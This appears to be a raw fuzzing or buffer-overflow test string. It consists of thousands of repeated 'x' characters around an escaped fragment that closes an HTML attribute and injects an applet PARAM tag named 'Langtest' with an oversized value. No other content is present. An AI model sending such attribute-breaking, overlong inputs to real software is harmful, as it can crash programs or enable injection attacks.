xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;Langtest\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx